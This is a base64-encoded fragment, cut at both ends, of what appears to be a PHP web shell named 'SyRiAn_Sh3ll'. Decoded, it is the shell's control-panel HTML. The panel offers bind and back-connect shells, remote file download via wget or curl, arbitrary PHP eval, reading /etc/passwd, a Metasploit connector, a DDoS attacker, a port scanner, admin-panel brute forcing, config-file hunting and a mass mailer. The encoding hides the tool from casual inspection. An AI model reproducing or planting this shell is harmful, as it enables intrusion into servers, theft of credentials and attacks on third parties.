lIC0tPgoJPC90ZD4KCTx0ZCB3aWR0aD0nMzAlJyBoZWlnaHQ9MzA+Cgk8IS0tIEVkaXQgRmlsZSAtLT4KCTxmb3JtIG1ldGhvZD1QT1NUPgoJPHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzcyJyBib3JkZXI9JzAnICBpZD0nQm94Jz48dHI+CiAgICA8dGQgd2lkdGg9JzEyJyBoZWlnaHQ9JzIxJyBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjoiLiRzaGVsbENvbG9yLiInPiZuYnNwOzwvdGQ+CiAgICA8dGQgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6IzY2NjtwYWRkaW5nLWxlZnQ6MTBweDsnPkVkaXQgRmlsZSA8L3RkPjwvdHI+PHRyPjx0ZCBoZWlnaHQ9JzQ1JyBjb2xzcGFuPScyJz4KCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdlZGl0RmlsZScgc2l6ZT01OT4KCTxpbnB1dCBuYW1lPSdlZGl0RmlsZVN1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nRWRpdCc+Cgk8L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+Cgk8IS0tIEVuZCBPZiBFZGl0IEZpbGUgLS0+Cgk8L3RkPgoJPC90cj4KCTx0cj4KCTx0ZCB3aWR0aD0nMzAlJz4KCTwhLS0gQ2htb2QgRm9yY2UgLS0+Cgk8Zm9ybSBtZXRob2Q9UE9TVD48dGFibGUgd2lkdGg9JzEwMCUnIGhlaWdodD0nNzInIGJvcmRlcj0nMCcgIGlkPSdCb3gnPjx0cj4KICAgIDx0ZCB3aWR0aD0nMTInIGhlaWdodD0nMjEnIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiIuJHNoZWxsQ29sb3IuIic+Jm5ic3A7PC90ZD4KICAgIDx0ZCBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjojNjY2O3BhZGRpbmctbGVmdDoxMHB4Oyc+Q2hhbmdlIE1vZGUgPC90ZD48L3RyPjx0cj48dGQgaGVpZ2h0PSc0NScgY29sc3Bhbj0nMic+Cgk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZmlsZU5hbWUnIHZhbHVlPSdpbmRleC5waHAnIHNpemU9NDg+Cgk8YnIvPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwZXInIHZhbHVlPScwNjQ0JyBzaXplPScxMCc+Cgk8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0NoYW5nZSBOb3cgIScgbmFtZT0nY2hhbmdlUGVybWlzc2lvbic+Cgk8L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+Cgk8IS0tIEVuZCBPZiBDaG1vZCBGb3JjZSAtLT4KCTwvdGQ+Cgk8dGQ+Cgk8IS0tIEdldCBGaWxlIC0tPgoJPGZvcm0gbWV0aG9kPVBPU1Q+PHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzcyJyBib3JkZXI9JzAnICBpZD0nQm94Jz48dHI+CiAgICA8dGQgd2lkdGg9JzEyJyBoZWlnaHQ9JzIxJyBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjoiLiRzaGVsbENvbG9yLiInPiZuYnNwOzwvdGQ+CiAgICA8dGQgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6IzY2NjtwYWRkaW5nLWxlZnQ6MTBweDsnPkdldCBGaWxlIDwvdGQ+PC90cj48dHI+PHRkIGhlaWdodD0nNDUnIGNvbHNwYW49JzInPgoJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZpbGVVcmwnIHNpemU9JzU5JyB2YWx1ZT0naHR0cDovL3d3dy4nPgoJPHNlbGVjdCBuYW1lPWdldFR5cGU+Cgk8b3B0aW9uIHZhbHVlPXdnZXQ+d2dldDwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0nY3VybCAtbyc+Y3VybCAtbzwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT1nZXQ+Z2V0PC9vcHRpb24+Cgk8b3B0aW9uIHZhbHVlPSdseW54IC1zb3VyY2UnPmx5bnggLXNvdXJjZTwvb3B0aW9uPgoJPC9zZWxlY3Q+Cgk8aW5wdXQgbmFtZT1nZXRGaWxlIHR5cGU9c3VibWl0IHZhbHVlPSdHZXQgRmlsZScgPgoJPC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPgoJPCEtLSBFbmQgT2YgR2V0IEZpbGUgLS0+Cgk8L3RkPgoJPHRkPgoJPCEtLSBCaW5kIENvbm5lY3Rpb24gLS0+Cgk8Zm9ybSBtZXRob2Q9UE9TVD48dGFibGUgd2lkdGg9JzEwMCUnIGhlaWdodD0nNzInIGJvcmRlcj0nMCcgIGlkPSdCb3gnPjx0cj4KICAgIDx0ZCB3aWR0aD0nMTInIGhlaWdodD0nMjEnIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiIuJHNoZWxsQ29sb3IuIic+Jm5ic3A7PC90ZD4KICAgIDx0ZCBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjojNjY2O3BhZGRpbmctbGVmdDoxMHB4Oyc+QmluZCBDb25uZWN0aW9uIDwvdGQ+PC90cj48dHI+PHRkIGhlaWdodD0nNDUnIGNvbHNwYW49JzInPgoJPGlucHV0IGNsYXNzPSdpbnB1dHonIHR5cGU9J3RleHQnIG5hbWU9J2JpbmRfcGFzcycgc2l6ZT0nMjYnIHZhbHVlPSciLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbIkhUVFBfSE9TVCJdKS4iJz4KCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyBzaXplPScyNicgdmFsdWU9JzQ0Myc+Cgk8c2VsZWN0IGNsYXNzPSdpbnB1dHonIHNpemU9JzEnIG5hbWU9J3VzZSc+Cgk8b3B0aW9uIHZhbHVlPSdQZXJsJz5QZXJsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nQyc+Qzwvb3B0aW9uPgoJPC9zZWxlY3Q+IAoJPGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgbmFtZT0nYmluZCcgdmFsdWU9J0JpbmQnIHN0eWxlPSd3aWR0aDoxMjBweCc+Cgk8L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+Cgk8IS0tIEVuZCBPZiBCaW5kIENvbm5lY3Rpb24gLS0+CQoJPC90ZD4KCTwvdHI+Cgk8dHI+Cgk8dGQ+Cgk8IS0tIENHSSBwZXJsIC0tPgoJPGZvcm0gbWV0aG9kPVBPU1Q+PHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzcyJyBib3JkZXI9JzAnICBpZD0nQm94Jz48dHI+CiAgICA8dGQgd2lkdGg9JzEyJyBoZWlnaHQ9JzIxJyBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjoiLiRzaGVsbENvbG9yLiInPiZuYnNwOzwvdGQ+CiAgICA8dGQgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6IzY2NjtwYWRkaW5nLWxlZnQ6MTBweDsnPkNHSSBQZXJsIDwvdGQ+PC90cj48dHI+PHRkIGhlaWdodD0nNDUnIGNvbHNwYW49JzInPgoJPGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSciLmdldGN3ZCgpLiInIG5hbWU9J2NnaXBlcmxQYXRoJyBzaXplPSc0Myc+Cgk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdnZW5lcmF0ZVBlbCcgdmFsdWU9J0dlbmVyYXRlJz48L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+Cgk8IS0tIEVuZCBPZiBDR0kgcGVybCAtLT4KCTwvdGQ+PHRkPgoJPCEtLSBGb3JiaWRkZW4gLS0+Cgk8Zm9ybSBtZXRob2Q9UE9TVD48dGFibGUgd2lkdGg9JzEwMCUnIGhlaWdodD0nNzInIGJvcmRlcj0nMCcgIGlkPSdCb3gnPjx0cj4KICAgIDx0ZCB3aWR0aD0nMTInIGhlaWdodD0nMjEnIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiIuJHNoZWxsQ29sb3IuIic+Jm5ic3A7PC90ZD4KICAgIDx0ZCBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjojNjY2O3BhZGRpbmctbGVmdDoxMHB4Oyc+Rm9yYmlkZGVuIDwvdGQ+PC90cj48dHI+PHRkIGhlaWdodD0nNDUnIGNvbHNwYW49JzInPgoJPGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSciLmdldGN3ZCgpLiInIG5hbWU9J2ZvcmJpZGRlblBhdGgnIHNpemU9JzcwJScvPgoJPHNlbGVjdCBuYW1lPSc0MDMnPgoJPG9wdGlvbiB2YWx1ZT0nRGlyZWN0b3J5SW5kZXgnPkRpcmVjdG9yeUluZGV4PC9vcHRpb24+Cgk8b3B0aW9uIHZhbHVlPSdIZWFkZXJOYW1lJz5IZWFkZXJOYW1lPC9vcHRpb24+Cgk8b3B0aW9uIHZhbHVlPSdUWFQnPlRYVDwvb3B0aW9uPgoJPG9wdGlvbiB2YWx1ZT0nNDA0Jz40MDQ8L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9J1JlYWRtZU5hbWUnPlJlYWRtZU5hbWU8L29wdGlvbj4KCTxvcHRpb24gdmFsdWU9J2Zvb3Rlck5hbWUnPmZvb3Rlck5hbWU8L29wdGlvbj4gCgk8L3NlbGVjdD4KCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdHZW5lcmF0ZScgbmFtZT0nZ2VuZXJhdGVGb3JiaWRkZW4nPgoJPC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPgoJPCEtLSBFbmQgT2YgRm9yYmlkZGVuIC0tPgoJPC90ZD4KCTx0ZD4KCTwhLS0gQmFjayBDb25uZWN0aW9uIC0tPgoJPGZvcm0gbWV0aG9kPVBPU1Q+PHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzcyJyBib3JkZXI9JzAnICBpZD0nQm94Jz48dHI+CiAgICA8dGQgd2lkdGg9JzEyJyBoZWlnaHQ9JzIxJyBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjoiLiRzaGVsbENvbG9yLiInPiZuYnNwOzwvdGQ+CiAgICA8dGQgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6IzY2NjtwYWRkaW5nLWxlZnQ6MTBweDsnPkJhY2sgQ29ubmVjdGlvbiA8L3RkPjwvdHI+PHRyPjx0ZCBoZWlnaHQ9JzQ1JyBjb2xzcGFuPScyJz4KCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdpcCcgc2l6ZT0nMjYnIHZhbHVlPSciLkdldFJlYWxJUCgpLiInPgoJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2JhY2twb3J0JyBzaXplPScyNicgdmFsdWU9JzQ0Myc+Cgk8c2VsZWN0IG5hbWU9J3VzZSc+Cgk8b3B0aW9uIHZhbHVlPSdQZXJsJz5QZXJsPC9vcHRpb24+Cgk8b3B0aW9uIHZhbHVlPSdDJz5DPC9vcHRpb24+Cgk8L3NlbGVjdD4gCgk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdiYWNrY29ubicgdmFsdWU9J0Nvbm5lY3QnPgoJPC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPgoJPCEtLSBFbmQgT2YgQmFjayBDb25uZWN0aW9uIC0tPgoJPC90ZD4KCTwvdHI+Cgk8dHI+Cgk8dGQ+Cgk8Zm9ybSBtZXRob2Q9UE9TVD48dGFibGUgd2lkdGg9JzEwMCUnIGhlaWdodD0nNzInIGJvcmRlcj0nMCcgIGlkPSdCb3gnPjx0cj4KICAgIDx0ZCB3aWR0aD0nMTInIGhlaWdodD0nMjEnIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiIuJHNoZWxsQ29sb3IuIic+Jm5ic3A7PC90ZD4KICAgIDx0ZCBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjojNjY2O3BhZGRpbmctbGVmdDoxMHB4Oyc+SGFzaCBBbmFseXplciA8L3RkPjwvdHI+PHRyPjx0ZCBoZWlnaHQ9JzQ1JyBjb2xzcGFuPScyJz4KCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdoYXNoVG9BbmFseXplJyBzaXplPTYwPgoJPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0FuYWx5emUgTm93JyBuYW1lPSdhbmFseXppZU5vdyc+PC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPgoJPC90ZD4KCTx0ZD4KCTwhLS0gRXZhbCBDb2RlIC0tPgoJPGZvcm0gbWV0aG9kPVBPU1Q+PHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzcyJyBib3JkZXI9JzAnICBpZD0nQm94Jz48dHI+CiAgICA8dGQgd2lkdGg9JzEyJyBoZWlnaHQ9JzIxJyBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjoiLiRzaGVsbENvbG9yLiInPiZuYnNwOzwvdGQ+CiAgICA8dGQgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6IzY2NjtwYWRkaW5nLWxlZnQ6MTBweDsnPkV2YWwgQ29kZSA8L3RkPjwvdHI+PHRyPjx0ZCBoZWlnaHQ9JzQ1JyBjb2xzcGFuPScyJz4KCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwaHBfZXZhbCcgc2l6ZT0nNzAnIHZhbHVlPSdlY2hvIFwiTW9uS2lyYVwiOyc+IAoJPGlucHV0IHR5cGU9c3VibWl0IG5hbWU9c3VibWl0RXZhbCB2YWx1ZT1FdmFsPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4KCTwhLS0gRW5kIE9mIEV2YWwgQ29kZSAtLT4KCTwvdGQ+Cgk8dGQ+Cgk8IS0tIFVzZXJzICYgRG9tYWlucyAtLT4KCTxmb3JtIG1ldGhvZD1QT1NUPjx0YWJsZSB3aWR0aD0nMTAwJScgaGVpZ2h0PSc3MicgYm9yZGVyPScwJyAgaWQ9J0JveCc+PHRyPgogICAgPHRkIHdpZHRoPScxMicgaGVpZ2h0PScyMScgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6Ii4kc2hlbGxDb2xvci4iJz4mbmJzcDs8L3RkPgogICAgPHRkIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiM2NjY7cGFkZGluZy1sZWZ0OjEwcHg7Jz5Vc2VycyAmIERvbWFpbnMgPC90ZD48L3RyPjx0cj48dGQgaGVpZ2h0PSc0NScgY29sc3Bhbj0nMic+Cgk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndXNlcnNQYXRoJyB2YWx1ZT0nIi5nZXRjd2QoKS4iJyBzaXplPSc1NScvPgoJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nR2VuZXJhdGVVc2VycycgVmFsdWU9J0dlbmVyYXRlJz4KCTwhLS0gRW5kIE9mIFVzZXJzICYgRG9tYWlucyAtLT4KCTwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4KCTwvdGQ+Cgk8L3RyPgoJPHRyPgoJPHRkPgoJPCEtLSBSZWFkaW5nIEZpbGVzIC0tPgoJPGZvcm0gbWV0aG9kPVBPU1Q+PHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzcyJyBib3JkZXI9JzAnICBpZD0nQm94Jz48dHI+CiAgICA8dGQgd2lkdGg9JzEyJyBoZWlnaHQ9JzIxJyBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjoiLiRzaGVsbENvbG9yLiInPiZuYnNwOzwvdGQ+CiAgICA8dGQgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6IzY2NjtwYWRkaW5nLWxlZnQ6MTBweDsnPlJlYWRpbmcgRmlsZXMgJiBEaXIgVXNpbmcgUEhQIEJ1Z3MgPC90ZD48L3RyPjx0cj48dGQgaGVpZ2h0PSc0NScgY29sc3Bhbj0nMic+Cgk8aW5wdXQgdHlwZT0ndGV4dCcgdmFsdWU9Jy9ldGMvcGFzc3dkJyBuYW1lPSdmaWxlJyBzaXplPTM1PgoJPGlucHV0IGNsYXNzPSdidXR0b25zJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3JlYWQnIHZhbHVlPSdSZWFkIEZpbGUnPgoJPGlucHV0IGNsYXNzPSdidXR0b25zJyB0eXBlPSdzdWJtaXQnIG5hbWU9J3Nob3cnIHZhbHVlPSdTaG93IGRpcmVjdG9yeSc+Cgk8L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+Cgk8IS0tIEVuZCBPZiBSZWFkaW5nIEZpbGVzIC0tPgoJPC90ZD4KCTx0ZD4KCTwhLS1FbmNyeXB0aW9uIC0tPgoJPGZvcm0gbWV0aG9kPVBPU1Q+PHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzcyJyBib3JkZXI9JzAnICBpZD0nQm94Jz48dHI+CiAgICA8dGQgd2lkdGg9JzEyJyBoZWlnaHQ9JzIxJyBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjoiLiRzaGVsbENvbG9yLiInPiZuYnNwOzwvdGQ+CiAgICA8dGQgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6IzY2NjtwYWRkaW5nLWxlZnQ6MTBweDsnPkVuY3J5cHRpb24gPC90ZD48L3RyPjx0cj48dGQgaGVpZ2h0PSc0NScgY29sc3Bhbj0nMic+Cgk8aW5wdXQgdHlwZT0ndGV4dCcgdmFsdWU9J1N5UmlBbl9TaDNsbCcgbmFtZT0nRU5DUllQVElPTicgc2l6ZT0nODAlJz4KCTxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdFbmNyeXB0JyBuYW1lPSdlbmNyeXB0Tm93Jz4KCTwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4KCTwhLS0gRW5kIE9mIEVuY3J5cHRpb24gLS0+Cgk8L3RkPgoJPHRkPgoJPCEtLSBNZXRhc3Bsb2l0IFJDIC0tPgoJPGZvcm0gbWV0aG9kPVBPU1Q+PHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzcyJyBib3JkZXI9JzAnICBpZD0nQm94Jz48dHI+CiAgICA8dGQgd2lkdGg9JzEyJyBoZWlnaHQ9JzIxJyBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjoiLiRzaGVsbENvbG9yLiInPiZuYnNwOzwvdGQ+CiAgICA8dGQgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6IzY2NjtwYWRkaW5nLWxlZnQ6MTBweDsnPk1ldGFzcGxvaXQgQ29ubmVjdGlvbiA8L3RkPjwvdHI+PHRyPjx0ZCBoZWlnaHQ9JzQ1JyBjb2xzcGFuPScyJz4KCTxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPScxNScgbmFtZT0naXAnIHZhbHVlPScxMjcuMC4wLjEnPgoJPGlucHV0IHR5cGU9J3RleHQnIHNpemU9JzUnIG5hbWU9J3BvcnQnIHZhbHVlPSc0NDMnPgoJPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0Nvbm5lY3QnIG5hbWU9J21ldGFDb25uZWN0Jz4KCTwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4KCTwhLS0gRW5kIE9mIE1ldGFzcGxvaXQgUkMgLS0+Cgk8L3RkPgoJPC90cj4KCTx0cj4KCTx0ZD4KCTwhLS0gRERPUyBBdHRhY2tlciAtLT4KCTxmb3JtIG1ldGhvZD1QT1NUPjx0YWJsZSB3aWR0aD0nMTAwJScgaGVpZ2h0PSc3MicgYm9yZGVyPScwJyAgaWQ9J0JveCc+PHRyPgogICAgPHRkIHdpZHRoPScxMicgaGVpZ2h0PScyMScgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6Ii4kc2hlbGxDb2xvci4iJz4mbmJzcDs8L3RkPgogICAgPHRkIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiM2NjY7cGFkZGluZy1sZWZ0OjEwcHg7Jz5ERE9TIEF0dGFja2VyIDwvdGQ+PC90cj48dHI+PHRkIGhlaWdodD0nNDUnIGNvbHNwYW49JzInPgoJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2lwVG9BdHRhY2snIHNpemU9JzQwJyB2YWx1ZT0nVGFyZ2V0IElQJz4KCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0VG9BdHRhY2snIHNpemU9JzIwJyB2YWx1ZT0nVGFyZ2V0IFBPUlQnPgoJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3RhcnRBdHRhY2snIHZhbHVlPSdBdHRhY2snPgoJPC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPgoJPCEtLSBFbmQgT2YgRERPUyBBdHRhY2tlciAtLT4KCTwvdGQ+Cgk8dGQ+Cgk8IS0tIFBvcnRzIFNjYW5uZXIgLS0+Cgk8Zm9ybSBtZXRob2Q9UE9TVD48dGFibGUgd2lkdGg9JzEwMCUnIGhlaWdodD0nNzInIGJvcmRlcj0nMCcgIGlkPSdCb3gnPjx0cj4KICAgIDx0ZCB3aWR0aD0nMTInIGhlaWdodD0nMjEnIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiIuJHNoZWxsQ29sb3IuIic+Jm5ic3A7PC90ZD4KICAgIDx0ZCBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjojNjY2O3BhZGRpbmctbGVmdDoxMHB4Oyc+UG9ydHMgU2Nhbm5lciA8L3RkPjwvdHI+PHRyPjx0ZCBoZWlnaHQ9JzQ1JyBjb2xzcGFuPScyJz4KCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdkb21haW5Ub1NjYW5Qb3J0JyBzaXplPSc1MCcgdmFsdWU9JzE3Mi4wLjAuMSc+IDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N1Ym1pdERvbWFpblRvU2NhblBvcnQnIFZhbHVlPSdTY2FuIE5vdyc+Cgk8L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+Cgk8IS0tIEVuZCBPZiBQb3J0cyBTY2FubmVyIC0tPgoJPC90ZD4KCTx0ZD4KCTwhLS0gQUNQIEZpbmRlciAtLT4KCTxmb3JtIG1ldGhvZD1QT1NUPjx0YWJsZSB3aWR0aD0nMTAwJScgaGVpZ2h0PSc3MicgYm9yZGVyPScwJyAgaWQ9J0JveCc+PHRyPgogICAgPHRkIHdpZHRoPScxMicgaGVpZ2h0PScyMScgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6Ii4kc2hlbGxDb2xvci4iJz4mbmJzcDs8L3RkPgogICAgPHRkIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiM2NjY7cGFkZGluZy1sZWZ0OjEwcHg7Jz5BQ1AgRmluZGVyIDwvdGQ+PC90cj48dHI+PHRkIGhlaWdodD0nNDUnIGNvbHNwYW49JzInPgoJPGlucHV0IG5hbWU9J2hhc2hfbG9sJyBjbGFzcz0ndGV4dGJveCcgdHlwZT0ndGV4dCcgc2l6ZT0nMzAnIHZhbHVlPSdodHRwOi8vd3d3LmV4YW1wbGUuY29tLycvPgoJPGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPScucGhwJyBuYW1lPSdleHRlbnRpb24nLz4KCTxpbnB1dCBuYW1lPSdzdWJtaXRfbG9sJyBjbGFzcz0ndGV4dGJveCcgdmFsdWU9J0JydXRlIEZvcmNlIE5vdycgdHlwZT0nc3VibWl0Jz4KCTwhLS0gRW5kIE9mIEFDUCBGaW5kZXIgLS0+Cgk8L3RkPjwvdHI+PC90YWJsZT48L2Zvcm0+Cgk8L3RkPgoJPC90cj4KCQoJPHRyPgoJPGJyPgoJPHRkIHZhbGlnbj0ndG9wJz4KCTwhLS0gU2VydmVyIFNob3J0Q3V0IC0tPgoJPGZvcm0gbWV0aG9kPVBPU1Q+PHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzcyJyBib3JkZXI9JzAnICBpZD0nQm94Jz48dHI+CiAgICA8dGQgd2lkdGg9JzEyJyBoZWlnaHQ9JzIxJyBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjoiLiRzaGVsbENvbG9yLiInPiZuYnNwOzwvdGQ+CiAgICA8dGQgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6IzY2NjtwYWRkaW5nLWxlZnQ6MTBweDsnPlNlcnZlciBTaG9ydEN1dCA8L3RkPjwvdHI+PHRyPjx0ZCBoZWlnaHQ9JzQ1JyBjb2xzcGFuPScyJz4KCTxpbnB1dCB0eXBlPSd0ZXh0JyB2YWx1ZT0nIi5nZXRjd2QoKS4iJyBzaXplPSc2OCcgbmFtZT0nU2hvdXJ0Q3V0UGF0aCc+Cgk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdnZW5lcmF0ZVNFUicgdmFsdWU9JyBHZW5lcmF0ZSAnPgoJPC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPgoJPCEtLSBFbmQgT2YgU2VydmVyIFNob3V0Q3V0IC0tPgoJPC90ZD4KCTx0ZCB2YWxpZ249J3RvcCc+Cgk8IS0tIEZhc3QgVG9vbHMgLS0+Cgk8Zm9ybSBtZXRob2Q9UE9TVD48dGFibGUgd2lkdGg9JzEwMCUnIGhlaWdodD0nNzInIGJvcmRlcj0nMCcgIGlkPSdCb3gnPjx0cj4KICAgIDx0ZCB3aWR0aD0nMTInIGhlaWdodD0nMjEnIHN0eWxlPSdiYWNrZ3JvdW5kLWNvbG9yOiIuJHNoZWxsQ29sb3IuIic+Jm5ic3A7PC90ZD4KICAgIDx0ZCBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjojNjY2O3BhZGRpbmctbGVmdDoxMHB4Oyc+RmFzdCBUb29scyA8L3RkPjwvdHI+PHRyPjx0ZCBoZWlnaHQ9JzQ1JyBjb2xzcGFuPScyJz4KCTxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nR2VuZXJhdGUgLkhUQWNjZXNzJyBuYW1lPSdodGFjY2Vzc0dlbmVyYXRlJz4KCTxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nR2VuZXJhdGUgcGhwLmluaScgbmFtZT0ncGhwaW5pR2VuZXJhdGUnPgoJPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdHZW5lcmF0ZSBpbmkucGhwJyBuYW1lPSdpbmlwaHBHZW5lcmF0ZSc+PGJyLz48YnIvPgoJPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0ZpbmRpbmcgQ29uZmlnIEZpbGVzJyBuYW1lPSdjb25maWdGaW5kZXJTdWJtaXQnIC8+Cgk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdzaG93VXNlcnMnIHZhbHVlPSdTaG93IFVzZXJzJyAvPgoJPC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPgoJPCEtLSBFbmQgT2YgRmFzdCBUb29scyAtLT4KCTwvdGQ+Cgk8dGQgdmFsaWduPSdUT1AnPgoJPCEtLSBTUUwgUmVhZGVyIC0tPgoJPGZvcm0gbWV0aG9kPVBPU1Q+PHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzcyJyBib3JkZXI9JzAnICBpZD0nQm94Jz48dHI+CiAgICA8dGQgd2lkdGg9JzEyJyBoZWlnaHQ9JzIxJyBzdHlsZT0nYmFja2dyb3VuZC1jb2xvcjoiLiRzaGVsbENvbG9yLiInPiZuYnNwOzwvdGQ+CiAgICA8dGQgc3R5bGU9J2JhY2tncm91bmQtY29sb3I6IzY2NjtwYWRkaW5nLWxlZnQ6MTBweDsnPlNRTCBSZWFkZXI8L3RkPjwvdHI+PHRyPjx0ZCBoZWlnaHQ9JzQ1JyBjb2xzcGFuPScyJz4KCTxpbnB1dCB0eXBlPSd0ZXh0JyB2YWx1ZT0nL2V0Yy9wYXNzd2QnIG5hbWU9J2ZpbGUnIHNpemU9JzM1Jz48YnIvPgoJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2hvc3QnIHZhbHVlPScxMjcuMC4wLjEnPgoJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3VzZXInIHZhbHVlPSdEQiB1c2VyJz4KCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwYXNzJyB2YWx1ZT0nREIgcGFzcyc+Cgk8aW5wdXQgdHlwZT10ZXh0IG5hbWU9J2RiJyB2YWx1ZT0nREIgbmFtZSc+Cgk8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdzcWwyUmVhZCcgdmFsdWU9J1JlYWQnPgoJIjsKCWlmKCRzcWxfY29uKQoJewoJCWVjaG8gJzxpbnB1dCBzdHlsZT0id2lkdGg6MzAwcHg7IiB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxldG9yZWFkIj4KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUmVhZCIgbmFtZT0iU1FMVG9SZWFkIj4nOwoJfQoJZWNobyAiPC90ZD48L3RyPjwvdGFibGU+PC9mb3JtPgoJPCEtLSBFbmQgT2YgU1FMIFJlYWRlciAgLS0+Cgk8L3RkPgoJPC90cj4KCTx0cj4KCTx0ZCB2YWxpZ249J3RvcCc+CgkJPCEtLSBNYWlsIFN0b3JtIC0tPgoJPGZvcm0gbWV0aG9kPVBPU1Q+PHRhYmxlIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzcyJyBib3JkZXI9JzAnICBpZD0nQm94Jz48dHI+